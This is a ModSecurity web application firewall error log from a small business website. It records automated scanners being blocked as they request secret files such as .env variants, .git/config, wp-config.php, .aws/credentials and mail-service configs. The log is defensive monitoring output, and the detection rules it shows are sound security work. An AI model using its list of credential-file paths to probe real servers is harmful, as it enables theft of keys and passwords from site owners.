[Sat Nov 29 23:09:55.525618 2025] [:error] [pid 20827:tid 20864] [client 13.125.107.215:60092] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mailgun/config"] [unique_id "aSsMw4R9B7FcLfh1rSG7vwAAAEY"]
[Sat Nov 29 23:09:56.125491 2025] [:error] [pid 16610:tid 16614] [client 13.125.107.215:60098] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mailgun.php"] [unique_id "aSsMxATu2dLzNk_QISo0BQAAAYI"]
[Sat Nov 29 23:09:56.731137 2025] [:error] [pid 62619:tid 62638] [client 13.125.107.215:60110] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sendgrid"] [unique_id "aSsMxNk7ZYKT63FfVSWgFQAAAVE"]
[Sat Nov 29 23:09:57.324830 2025] [:error] [pid 20826:tid 20846] [client 13.125.107.215:60122] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sendgrid.json"] [unique_id "aSsMxfABfBqk70vKX9Tv2QAAABA"]
[Sat Nov 29 23:09:57.935137 2025] [:error] [pid 62619:tid 62632] [client 13.125.107.215:60136] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sendgrid/config"] [unique_id "aSsMxdk7ZYKT63FfVSWgGQAAAUs"]
[Sat Nov 29 23:09:58.539282 2025] [:error] [pid 25341:tid 25346] [client 13.125.107.215:60142] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sendgrid.php"] [unique_id "aSsMxvWK8JdN03Mg7dx3DwAAAcE"]
[Sat Nov 29 23:09:59.146002 2025] [:error] [pid 32136:tid 32147] [client 13.125.107.215:60156] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sendgrid.env"] [unique_id "aSsMx8Sj_WSVQM1psKrNUwAAAQk"]
[Sat Nov 29 23:09:59.758176 2025] [:error] [pid 37490:tid 37513] [client 13.125.107.215:60158] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/brevo"] [unique_id "aSsMx5jG6OUSCUo6XZ1rUAAAAhU"]
[Sat Nov 29 23:10:00.358444 2025] [:error] [pid 20828:tid 20885] [client 13.125.107.215:60168] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/brevo.json"] [unique_id "aSsMyOqW2f0jLRABAOS2vgAAAIA"]
[Sat Nov 29 23:10:00.956367 2025] [:error] [pid 20915:tid 20937] [client 13.125.107.215:60174] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/brevo/config"] [unique_id "aSsMyFOOtKw1QZ3TPEQg3wAAANQ"]
[Sat Nov 29 23:10:01.568626 2025] [:error] [pid 62619:tid 62628] [client 13.125.107.215:60182] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/brevo.php"] [unique_id "aSsMydk7ZYKT63FfVSWgHwAAAUc"]
[Sat Nov 29 23:10:02.181527 2025] [:error] [pid 62619:tid 62627] [client 13.125.107.215:60198] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/php"] [unique_id "aSsMytk7ZYKT63FfVSWgIQAAAUY"]
[Sat Nov 29 23:10:02.782614 2025] [:error] [pid 37490:tid 37503] [client 13.125.107.215:60200] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info"] [unique_id "aSsMypjG6OUSCUo6XZ1rVgAAAgs"]
[Sat Nov 29 23:10:03.380780 2025] [:error] [pid 20828:tid 20896] [client 13.125.107.215:45480] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/phpinfo"] [unique_id "aSsMy-qW2f0jLRABAOS2wgAAAIs"]
[Sat Nov 29 23:10:03.990071 2025] [:error] [pid 20826:tid 20853] [client 13.125.107.215:45492] [client 13.125.107.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aSsMy_ABfBqk70vKX9Tv3gAAABc"]
[Sun Nov 30 00:29:56.678179 2025] [:error] [pid 42162:tid 42169] [client 164.92.76.206:63791] [client 164.92.76.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.76.206, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aSsfhNePpz4Ije-_EjrdQAAAAII"]
[Sun Nov 30 00:29:56.688257 2025] [proxy_fcgi:error] [pid 42162:tid 42169] [client 164.92.76.206:63791] AH01071: Got error 'Primary script unknown'
[Sun Nov 30 00:29:57.462143 2025] [:error] [pid 42163:tid 42202] [client 164.92.76.206:63835] [client 164.92.76.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.76.206, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aSsfhZnaEs-eGc51wg1-YgAAAMc"]
[Sun Nov 30 00:29:57.467087 2025] [proxy_fcgi:error] [pid 42163:tid 42202] [client 164.92.76.206:63835] AH01071: Got error 'Primary script unknown'
[Sun Nov 30 02:44:50.275337 2025] [:error] [pid 42163:tid 42209] [client 13.214.204.72:34100] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aSs_IpnaEs-eGc51wg2f3wAAAM4"]
[Sun Nov 30 02:44:50.669459 2025] [:error] [pid 29714:tid 29740] [client 13.214.204.72:34112] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aSs_Ir76_KNwefuiUY-DigAAAFg"]
[Sun Nov 30 02:44:51.063405 2025] [:error] [pid 33376:tid 33403] [client 13.214.204.72:34116] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aSs_I3px_7viPEhKF36cBgAAAhg"]
[Sun Nov 30 02:44:51.455525 2025] [:error] [pid 33376:tid 33385] [client 13.214.204.72:34118] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aSs_I3px_7viPEhKF36cBwAAAgY"]
[Sun Nov 30 02:44:51.846487 2025] [:error] [pid 42164:tid 42233] [client 13.214.204.72:34134] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aSs_I9ip8Nhatsq7KxzusAAAAQs"]
[Sun Nov 30 02:44:52.238306 2025] [:error] [pid 58730:tid 58782] [client 13.214.204.72:34144] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "aSs_JKDQq6rwusUXQKjscwAAABE"]
[Sun Nov 30 02:44:52.630332 2025] [:error] [pid 42163:tid 42196] [client 13.214.204.72:34150] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aSs_JJnaEs-eGc51wg2f4QAAAME"]
[Sun Nov 30 02:44:56.602739 2025] [:error] [pid 42252:tid 42258] [client 13.214.204.72:45724] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||agraphics.com.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/config.ini"] [unique_id "aSs_KLweMxCk051n8__HoAAAAUQ"]
[Sun Nov 30 02:44:57.006183 2025] [proxy_fcgi:error] [pid 42162:tid 42168] [client 13.214.204.72:45738] AH01071: Got error 'Primary script unknown'
[Sun Nov 30 02:44:57.790881 2025] [:error] [pid 42252:tid 42260] [client 13.214.204.72:45756] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings"] [unique_id "aSs_KbweMxCk051n8__HowAAAUY"]
[Sun Nov 30 02:44:58.185751 2025] [:error] [pid 33337:tid 33349] [client 13.214.204.72:45768] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/settings.json"] [unique_id "aSs_Kj7HzFQftKzaJgJ_sgAAAcg"]
[Sun Nov 30 02:44:58.575172 2025] [:error] [pid 42162:tid 42180] [client 13.214.204.72:45776] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/app.config.js"] [unique_id "aSs_KtePpz4Ije-_Ejr_zwAAAI0"]
[Sun Nov 30 02:44:58.965523 2025] [:error] [pid 42252:tid 42274] [client 13.214.204.72:45792] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php"] [unique_id "aSs_KrweMxCk051n8__HpwAAAVQ"]
[Sun Nov 30 02:44:59.362728 2025] [:error] [pid 29714:tid 29727] [client 13.214.204.72:45808] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aSs_K776_KNwefuiUY-DjQAAAEs"]
[Sun Nov 30 02:44:59.754317 2025] [:error] [pid 33376:tid 33401] [client 13.214.204.72:45824] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpversion.php"] [unique_id "aSs_K3px_7viPEhKF36cHAAAAhY"]
[Sun Nov 30 02:45:00.144600 2025] [:error] [pid 33303:tid 33329] [client 13.214.204.72:45832] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test.php"] [unique_id "aSs_LPvL3Xz3V8uL8l6ANAAAAZg"]
[Sun Nov 30 02:45:00.536265 2025] [:error] [pid 42164:tid 42245] [client 13.214.204.72:45844] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin"] [unique_id "aSs_LNip8Nhatsq7KxzusgAAARc"]
[Sun Nov 30 02:45:00.929908 2025] [:error] [pid 58730:tid 58777] [client 13.214.204.72:45846] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aSs_LKDQq6rwusUXQKjsfwAAAAw"]
[Sun Nov 30 02:45:01.319688 2025] [:error] [pid 42164:tid 42243] [client 13.214.204.72:45860] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/wp-config.php"] [unique_id "aSs_Ldip8Nhatsq7KxzutgAAARU"]
[Sun Nov 30 02:45:01.710330 2025] [:error] [pid 42252:tid 42254] [client 13.214.204.72:45872] [client 13.214.204.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/composer.json"] [unique_id "aSs_LbweMxCk051n8__HqgAAAUA"]
[Sun Nov 30 02:45:02.104046 2025] [:error] [pid 33303:tid 33319] [client 13.214.204.72:45876] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.aws/config"] [unique_id "aSs_LvvL3Xz3V8uL8l6AOAAAAY4"]
[Sun Nov 30 02:45:02.495092 2025] [:error] [pid 42162:tid 42169] [client 13.214.204.72:45888] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.aws/credentials"] [unique_id "aSs_LtePpz4Ije-_Ejr_0AAAAII"]
[Sun Nov 30 02:45:02.884321 2025] [:error] [pid 42252:tid 42269] [client 13.214.204.72:45896] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aws/config"] [unique_id "aSs_LrweMxCk051n8__HrAAAAU8"]
[Sun Nov 30 02:45:03.276871 2025] [:error] [pid 29714:tid 29717] [client 13.214.204.72:45898] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aws/credentials"] [unique_id "aSs_L776_KNwefuiUY-DmAAAAEE"]
[Sun Nov 30 02:45:03.666453 2025] [:error] [pid 29714:tid 29737] [client 13.214.204.72:45902] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aws.json"] [unique_id "aSs_L776_KNwefuiUY-DmwAAAFU"]
[Sun Nov 30 02:45:04.094007 2025] [:error] [pid 58730:tid 58788] [client 13.214.204.72:45906] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/credentials"] [unique_id "aSs_MKDQq6rwusUXQKjsgwAAABY"]
[Sun Nov 30 02:45:04.483923 2025] [:error] [pid 42163:tid 42211] [client 13.214.204.72:45918] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/secrets.json"] [unique_id "aSs_MJnaEs-eGc51wg2f5QAAANA"]
[Sun Nov 30 02:45:04.874858 2025] [:error] [pid 42252:tid 42273] [client 13.214.204.72:45922] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/keys.js"] [unique_id "aSs_MLweMxCk051n8__HrwAAAVM"]
[Sun Nov 30 02:45:05.268412 2025] [:error] [pid 33303:tid 33312] [client 13.214.204.72:45928] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aws-keys.js"] [unique_id "aSs_MfvL3Xz3V8uL8l6APQAAAYc"]
[Sun Nov 30 02:45:05.659392 2025] [:error] [pid 33337:tid 33346] [client 13.214.204.72:39926] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mailgun"] [unique_id "aSs_MT7HzFQftKzaJgJ_twAAAcU"]
[Sun Nov 30 02:45:06.051422 2025] [:error] [pid 42163:tid 42205] [client 13.214.204.72:39942] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mailgun.json"] [unique_id "aSs_MpnaEs-eGc51wg2f5gAAAMo"]
[Sun Nov 30 02:45:06.445358 2025] [:error] [pid 42163:tid 42203] [client 13.214.204.72:39950] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mailgun/config"] [unique_id "aSs_MpnaEs-eGc51wg2f5wAAAMg"]
[Sun Nov 30 02:45:06.835490 2025] [:error] [pid 42162:tid 42189] [client 13.214.204.72:39956] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mailgun.php"] [unique_id "aSs_MtePpz4Ije-_Ejr_1gAAAJY"]
[Sun Nov 30 02:45:07.226028 2025] [:error] [pid 42252:tid 42275] [client 13.214.204.72:39968] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sendgrid"] [unique_id "aSs_M7weMxCk051n8__HsQAAAVU"]
[Sun Nov 30 02:45:07.617456 2025] [:error] [pid 42252:tid 42274] [client 13.214.204.72:39980] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sendgrid.json"] [unique_id "aSs_M7weMxCk051n8__HsgAAAVQ"]
[Sun Nov 30 02:45:08.008527 2025] [:error] [pid 58730:tid 58780] [client 13.214.204.72:39986] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sendgrid/config"] [unique_id "aSs_NKDQq6rwusUXQKjsiAAAAA8"]
[Sun Nov 30 02:45:08.399682 2025] [:error] [pid 33376:tid 33403] [client 13.214.204.72:39988] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sendgrid.php"] [unique_id "aSs_NHpx_7viPEhKF36cIQAAAhg"]
[Sun Nov 30 02:45:08.793858 2025] [:error] [pid 42164:tid 42223] [client 13.214.204.72:39992] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sendgrid.env"] [unique_id "aSs_NNip8Nhatsq7KxzuuwAAAQE"]
[Sun Nov 30 02:45:09.184892 2025] [:error] [pid 33303:tid 33314] [client 13.214.204.72:39998] [client 13.214.204.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/brevo"] [unique_id "aSs_NfvL3Xz3V8uL8l6APwAAAYk"]
